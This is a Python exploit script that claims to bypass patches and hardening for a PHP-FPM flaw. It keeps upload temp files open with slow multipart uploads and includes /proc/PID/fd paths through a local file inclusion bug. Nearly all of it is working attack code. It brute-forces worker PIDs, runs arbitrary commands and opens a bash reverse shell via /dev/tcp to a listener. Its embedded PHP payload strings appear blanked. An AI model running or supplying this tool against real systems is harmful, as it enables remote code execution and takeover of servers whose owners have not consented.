#!/usr/bin/env python3 """ Hardening Bypass: RCE via /proc/PID/fd temp file inclusion This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619, including the security patch AND session.upload_progress.enabled=0. It does NOT use session poisoning at all. Instead, it exploits the fact that during a multipart file upload, PHP creates a temporary file whose contents are attacker-controlled. This file is visible via /proc//fd/ to any process that can read procfs (i.e., any PHP process on the same host). Attack flow: 1. Send a multipart POST with a file upload containing PHP code 2. While the upload is in progress (slow drip), the temp file exists as an open file descriptor on the receiving FPM worker 3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages, or brute-forced from a narrow PID range) 4. From a DIFFERENT FPM worker, include /proc//fd/ via LFI 5. PHP interprets the temp file contents → RCE Why this bypasses everything: - No session poisoning → session.upload_progress.enabled=0 is irrelevant - No OOM needed → the PHP 8.4.27 OOM patch is irrelevant - No session file persistence → session.upload_progress.cleanup=1 is irrelevant - Standard multipart upload → WAF rules need to block ALL file uploads Limitations: - Requires /proc mounted and readable (standard on Linux, not on BSD/Mac) - Requires knowing or brute-forcing the target worker's PID - Requires multiple FPM workers (upload worker != LFI worker) - FD number is typically 4-7 but may vary Real-world PID discovery: - phpinfo() page (common on staging/dev servers) - Application leaking PID in response (getmypid()) - PHP error messages may include PID - /proc/sys/kernel/pid_max is usually 32768 → brute-forceable - Container PID namespaces have small PID ranges (often 1-100) Tested: PHP 8.4.27 (patched + hardened, upload_progress=0) Usage: python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345 python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 """ import argparse import base64 import os import re import socket import sys import threading import time from urllib.parse import urlparse def tcp_connect(host, port, tls, timeout=60): sock = socket.create_connection((host, port), timeout=timeout) if tls: import ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(sock, server_hostname=host) return sock def recv_all(sock, timeout=5): resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(8192) if not d: break resp += d except socket.timeout: pass return resp def body_of(resp): if b"\r\n\r\n" in resp: return resp.split(b"\r\n\r\n", 1)[1] return resp def discover_pids(host, port, tls, path, count=20): """Discover FPM worker PIDs by making requests and parsing pid= from response.""" pids = set() for _ in range(count): try: sock = tcp_connect(host, port, tls, timeout=10) sock.sendall( b"GET " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) resp = recv_all(sock, timeout=3) sock.close() body = body_of(resp) m = re.search(rb"pid=(\d+)", body) if m: pids.add(int(m.group(1))) except Exception: continue return sorted(pids) def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None): """Send slow multipart upload to keep temp file FD open.""" bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode() head = ( b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" + php_code + b"\n" ) file_size = 4 * 1024 * 1024 tail = b"\r\n--" + bnd + b"--\r\n" total = len(head) + file_size + len(tail) try: sock = tcp_connect(host, port, tls, timeout=int(duration) + 10) sock.sendall( b"POST " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" b"Content-Length: " + str(total).encode() + b"\r\n" b"Connection: close\r\n\r\n" + head ) if started: started.set() sent = 0 t0 = time.time() while sent < file_size and (time.time() - t0) < duration: if done and done.is_set(): break sock.sendall(b"\x00" * 4096) sent += 4096 time.sleep(0.04) sock.sendall(tail) except Exception: pass try: recv_all(sock, timeout=2) except Exception: pass try: sock.close() except Exception: pass def lfi_probe(host, port, tls, path, lfi_param, proc_path): """Send LFI request targeting a /proc path.""" lfi_url = f"{path}?{lfi_param}={proc_path}" try: sock = tcp_connect(host, port, tls, timeout=10) sock.sendall( b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) resp = recv_all(sock, timeout=5) sock.close() return body_of(resp) except Exception: return b"" def run(args): p = urlparse(args.target) tls = p.scheme == "https" host = p.hostname or "127.0.0.1" port = p.port or (443 if tls else 80) path = p.path or "/" if args.trigger_only: php_code = b'' elif args.cmd: cmd_b64 = base64.b64encode(args.cmd.encode()).decode() php_code = f''.encode() elif args.lhost and args.lport: shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" cmd_b64 = base64.b64encode(shell.encode()).decode() php_code = f''.encode() else: print("[!] Specify --cmd, --lhost/--lport, or --trigger-only") sys.exit(1) print("=" * 65) print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE") print(" Bypasses patch + upload_progress=0 + session cleanup") print("=" * 65) print(f" Target : {args.target}") print(f" LFI param : {args.lfi_param}") if args.cmd: print(f" Command : {args.cmd}") elif args.lhost: print(f" Reverse sh : {args.lhost}:{args.lport}") print() # Discover worker PIDs if args.pid: pids = [args.pid] print(f"[*] Using specified PID: {args.pid}") else: print("[*] Discovering FPM worker PIDs...") pids = discover_pids(host, port, tls, path, count=30) if not pids: print("[!] Could not discover PIDs (target may not echo pid)") print(" Try --pid or --pid-range -") if args.pid_range: start, end = map(int, args.pid_range.split("-")) pids = list(range(start, end + 1)) print(f" Using PID range: {start}-{end}") else: sys.exit(1) else: print(f" Found PIDs: {pids}") print() fd_range = range(args.fd_start, args.fd_end + 1) for attempt in range(args.attempts): print(f"[*] Attempt {attempt+1}/{args.attempts}") started = threading.Event() done = threading.Event() # Launch slow uploads on multiple threads to occupy workers threads = [] for i in range(args.upload_threads): t = threading.Thread( target=slow_upload, args=(host, port, tls, path, php_code, 15.0, started if i == 0 else None, done), daemon=True, ) t.start() threads.append(t) started.wait(timeout=5) time.sleep(0.5) print(f" {args.upload_threads} slow uploads in progress") hit = False for probe_round in range(args.probes): if hit: break for pid in pids: if hit: break for fd in fd_range: proc_path = f"/proc/{pid}/fd/{fd}" rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path) if b"CVE2026:" in rbody: text = rbody.decode(errors="replace") if args.trigger_only: m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text) print(f"\n[+] Code execution confirmed!") if m: print(f" {m.group(1)}") elif args.cmd: m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL) result = m.group(1).strip() if m else text[:500] print() print("[+] ═══════════════ RCE OUTPUT ═══════════════") print(result) print("[+] ══════════════════════════════════════════") else: print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}") print() print(f"[+] Via: {proc_path}") print("[+] RCE achieved WITHOUT session poisoning!") print("[+] Bypasses: security patch, upload_progress=0,") print("[+] session cleanup, WAF session rules") print("[+] Only mitigation: disable file uploads entirely,") print("[+] mount /proc with hidepid=2, or fix the LFI") hit = True break if not hit and probe_round < args.probes - 1: time.sleep(0.01) done.set() for t in threads: t.join(timeout=3) if hit: return print(f" No hit — upload may have finished or wrong PID/FD range") print() print("[!] All attempts failed.") print(" Try: --pid --fd-start 3 --fd-end 10") print(" Or: --upload-threads 3 --probes 200") def main(): ap = argparse.ArgumentParser( description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" This exploit does NOT use session poisoning. It includes the PHP temp file created during a multipart upload via /proc//fd/. It bypasses ALL recommended mitigations: - PHP 8.4.27 security patch - session.upload_progress.enabled=0 - session.upload_progress.cleanup=1 - WAF rules blocking session-related headers The only defenses are: - Fix the LFI vulnerability - Mount /proc with hidepid=2 (hides other processes' FDs) - Disable file uploads entirely (not practical for most apps) - Use open_basedir to restrict /proc access Examples: %(prog)s -t http://target/app.php --cmd 'id' %(prog)s -t http://target/app.php --cmd 'id' --pid 12345 %(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 %(prog)s -t http://target/app.php --trigger-only --pid-range 1-100 """) ap.add_argument("-t", "--target", required=True, help="Target URL with LFI") ap.add_argument("--cmd", help="Command to execute") ap.add_argument("--lhost", help="Reverse shell listener IP") ap.add_argument("--lport", type=int, help="Reverse shell listener port") ap.add_argument("--trigger-only", action="store_true", help="Confirm vulnerability only") ap.add_argument("--lfi-param", default="page", help="LFI query parameter (default: page)") ap.add_argument("--pid", type=int, help="Known target worker PID") ap.add_argument("--pid-range", help="PID range to brute-force, e.g. 1-100") ap.add_argument("--fd-start", type=int, default=3, help="First FD to probe (default: 3)") ap.add_argument("--fd-end", type=int, default=10, help="Last FD to probe (default: 10)") ap.add_argument("--upload-threads", type=int, default=2, help="Concurrent slow uploads (default: 2)") ap.add_argument("--probes", type=int, default=100, help="LFI probe rounds per attempt (default: 100)") ap.add_argument("--attempts", type=int, default=5, help="Number of attempts (default: 5)") args = ap.parse_args() run(args) if __name__ == "__main__": main()